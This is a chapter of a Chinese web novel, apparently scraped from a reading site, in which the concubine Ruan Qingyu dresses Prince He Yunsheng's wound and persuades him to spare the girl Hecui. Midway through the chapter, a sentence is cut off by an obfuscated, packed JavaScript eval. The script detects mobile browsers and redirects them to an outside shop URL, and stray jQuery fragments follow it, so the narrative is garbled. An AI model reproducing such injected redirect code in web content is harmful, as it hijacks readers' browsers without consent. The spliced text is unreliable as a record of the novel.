95.第 95 章

作品:《景元七年轶闻

    阮青钰差点忘了贺云别的技能,没有贺云晟在,她就算有本事怼回去,也不敢。还是走为上计。


    “天色不早了,不叨扰郡王殿下和将军了,妾身告退。”


    贺云别对阮青钰真有些好奇,还想问问她哪里习得这一手好的缝合术,但她毕竟是贺云晟的妾室,贺云晟不仅傲得让人厌烦,还一贯护短,他还真不敢过分。


    “阮姨娘请吧。”


    阮青钰身影不见了,贺云别忽然对赵荆河说:“你怎么看?”


    “看什么?”


    “阮氏。”贺云别朝下努努下巴。


    “她是景世子的妾室,我不该看吧。”


    “我是问你,你觉不觉得,这个女人有些奇怪?”


    “哪里奇怪?”


    “很难说,我不过见她几面,话也没说过几句,总觉得她格外地,怎么说呢,总觉得她心中许多事,不与他人说。”


    “会不会只是不与你说,人家和你说得着吗?”


    “你个武夫,根本不知道我在说什么,阮氏算来不过十几岁,你观她言行神态,像是十几岁吗?”


    赵荆河不懂,阮青钰青春美丽,不像十几岁,像多少岁?


    “从小你就喜欢和景世子较劲,现在连他的妾室也不对劲了。”


    “你……真是夏虫不可语冰。”


    “那就别语了。”


    …………


    所谓一物降一物,贺云别有玲珑毒舌,赵荆河偏有大巧若拙,总能不着声色地让贺云别无话可说。


    阮青钰白天睡多了,又多了许多心事,晚上又是翻来覆去睡不好,迷迷糊糊睡着不多时,就听门口有人敲门。


    “姨娘还没有醒,殿下是叫姨娘现在就过去吗?”


    “不必,殿下只是看看姨娘醒了吗,什么时候醒了再过去。”


    程系心中有些无语,这一天看几趟的,你俩就不能住一间屋子吗,还用来回请的。本来这些是观局的活,现在观局还在鬼门关打转,他真心希望观局快些好起来。


    “我醒了,请回禀殿下,我这就过去。”


    程系回去,阮青钰起来洗漱。


    她惦记禾翠的事情,想了一个办法,不知道能不能成,要尽快去试试。


    时霜要给她戴发饰首饰,她也等不及,只簪了一个素钗,匆匆过去。


    太医正在给贺云晟看诊,贺云晟示意她坐在他身边。


    “太医说你的药很好,还打听方子呢。”


    朱博正在给贺云晟检查,听到这话,不禁汗颜。阮青钰的药是不错,但还没到让他如此眼馋的地步,他知道贺云晟看重阮青钰,夸赞时顺口说了句想探讨一番。


    此刻贺云晟那副骄傲的模样,朱博不禁想,情人眼中出西施,若这情人本就是西施,就更不得了了。


    阮青钰大概知道怎么回事儿。


    “殿下,朱太医是外伤圣手,我不过是忧心殿下伤势,才班门弄斧了。”


    “阮姨娘过谦了,我这里已经检查好了,殿下的伤口恢复得不错,阮姨娘的药功不可没,可以一直用。”


    “朱太医别这么说,她不过是随意做些伤药,夸得很了,会纵了她。朱太医的功劳我清楚得很,定会向圣上禀明。”


    明明是你想纵着她,朱太医一把年纪了,真是不习惯这些年轻人的情意绵绵,赶紧告退了。


    “朱太医这就走了。”


    “你有事找他?”


    阮青钰只是不想给贺云晟上药。


    “殿下的药?”


    “你来敷药啊。”


    不想也没用。


    昨天阮青钰还可以很自然,但现在她成了别扭的那一个。


    她的手搭上贺云晟的衣领,忽然有些下不去手,扒开贺云晟的衣服给他疗伤,不知道做过多少次的事情,她忽觉生疏。


    贺云晟察觉到她的生硬。


    “怎么了?”


    贺云晟看向她,她抬眼看贺云晟,他有双轮廓分明的好看眼睛,微微内双,内眦偏长而眼尾微微向下,眉弓高显得眼窝稍深,偏偏又有卧蚕,让他看上去凌厉深邃却又有少年感的亲和。此刻这双眼中,只有放松和光亮,清澈得有些乖巧甚至是天真,当他放下一些戒备,多了许多亲昵,贺云晟整个人现在,就像一条乖乖的大狗子。


    这个想法一跳出来,阮青钰忍不住想笑,又觉得不合适,为了忍住笑抿了抿嘴。


    “没什么。”


    她告诉自己,现在她是医者,贺云晟是病患,扒他的衣服,不算是招惹,才终于能动手。


    “殿下好生休息,若是养得好,过几天说不定就能下床走走了。”


    “嗯。我一定好好养。”


    阮青钰心想,要是没受伤的贺云晟也能这么乖巧听话,一定很可爱。


    “殿下,昨天我去问过禾翠了。”


    “如何?”一说起正事,贺云晟立刻有了压迫感,一点都不可爱了。


    阮青钰将禾翠的说法复述了。


    “你信她说的?”


    “话语或许可以作伪,但她确实出手相救了,还受了伤。殿下应该清楚,若没有禾翠拖住那一会儿,恩雅郡王的人赶不上救我们。”


    “就算是真的,他们收到消息,想借此铲除鱼龙帮,他们是谁?”


    贺云晟果然一下抓住了重点。


    阮青钰摇摇头。


    “便是我问了,禾翠大概也不会说。殿下,还记得之前在光州说起过,禾翠他们这些人查董家,现在他们想铲除鱼龙帮,这些都算是好事。”


    “好事?这些事,轮得到他们来做吗?以民问官,今天他们查的是董家,要除的是鱼龙帮,焉知来日他们不会野心膨胀,来找我贺家的麻烦。”


    贺云晟真不愧是皇帝养大的,政治敏感度真的可以,他们何止是找麻烦,他们要反了你贺家。但那都是上一世的事情,现在事情如何发展,尚未可知,或许阮青钰能在这些未可知之中,让事情往好的方向发展?


    阮青钰十分不确定,这也许只是她给自己的借口,但她已经决意不说出重莲道。


    “殿下言之有理,但殿下反过来想,他们现在做的这些事情,和殿下想做的,是不是方向是一样的,若能善加利用,说不定能成为难得的助力。”


    “利用?连这些人是谁、在哪儿都不知道,怎么利用?”


    “这正是难得之处,殿下不知道,朝中也没人知道,这股势力隐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313983|190233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于江湖之中,可以做的事情更多。现下,殿下是不清楚他们的情况,但我们已经意识到他们的存在,也接触到了他们的人,不久之后,未必不能找到其中核心人物。”


    “你是说禾翠?”贺云晟一副不相信的表情。


    “禾翠肯定不是他们的头领,看上去不怎么聪明的样子,但禾翠手中有刻着徽印的刀,应该算是他们的重要成员了,殿下不如让她留在我身边,来日寻出其后人物,再看可用否?”


    贺云晟没有说话,他在考量阮青钰的话,多少是为了保住禾翠,多少是为了他着想,又有多少可行性。


    阮青钰知道他在想什么,她只能让自己镇静,尽量让自己看上去坦诚、可信。


    “殿下,若非如此,现在能做的无非是对禾翠严刑拷打,这样一来,殿下会背上忘恩负义的恶名,况且,那禾翠看上去就是吃软不吃硬的性子,万一她受刑而未说出实情,连这个线索也断了。”


    贺云晟有些动摇。


    “只要禾翠在我们手里,来日殿下觉得有必要,不想等了,再对她用些手段查出真相,也不迟。”


    阮青钰说着,自己都觉得很有道理,说得自己都信了。


    果然,贺云晟终于同意了。


    “我知道你是为了保全禾翠,但你所言不无道理,我现在可以不动禾翠,也不着急找她身后的人,你把她留在身边也可以。”


    阮青钰终于松口气,贺云晟察觉到她的放松,忍不住说:“今天禾翠是救了你,也救了我,但她自有忠心所在,未必养得熟,成也萧何败也萧何,将她放在身边,你要小心,不要伤了自己。”


    “殿下放心,我会看住她,不会让她惹事。那我先告退了,殿下休息吧。”阮青钰说着起身,这边说服了贺云晟,那边还有个禾翠,那个犟憨的丫头未必愿意留在阮青钰身边,她还要想办法。


    “等等。”


    阮青钰停下,等贺云晟说话,贺云晟却移开眼神,咳了一声,好像是不知道怎么开口的样子,终于还是装作不经意地说:“近日船上都是伤员,太医忙得很,我这里你来照料吧,好让太医去照顾其他人周全。”


    “殿下有心体恤下属将太医让出去,只是太医毕竟是国手,既然他们在,不让他们过问殿下的伤势,还是疏漏了些,他们也不能安心。”


    “不是不让他们看,现在他们一天四五趟过来,还有两个学医官几乎每两刻钟都要来侍奉,诊治换药,太费时间,若由你看管照料,每天让太医来复诊一次就好。”


    “殿下既信得过,我自然无不尽力。”


    “那你什么时候搬来?”


    “搬来?”


    “虽然相隔不远,但总要让人去叫你也是麻烦,况且一般人进不了这一层舱房,程系身上有伤,也要让他多休息,观局他……”


    一说起观局,贺云晟脸上蒙上一层阴霾。


    阮青钰知道,观局又起了高烧,太医想了许多办法,也只能稍微缓解,情形不可谓不险,阮青钰只会处理外伤,这种情况她也无能无力。能不能熬过来,真是全看命了。


    “我搬来,只怕会吵到殿下安歇,影响殿下修养。”


    “你一直很安静,没有吵过我。”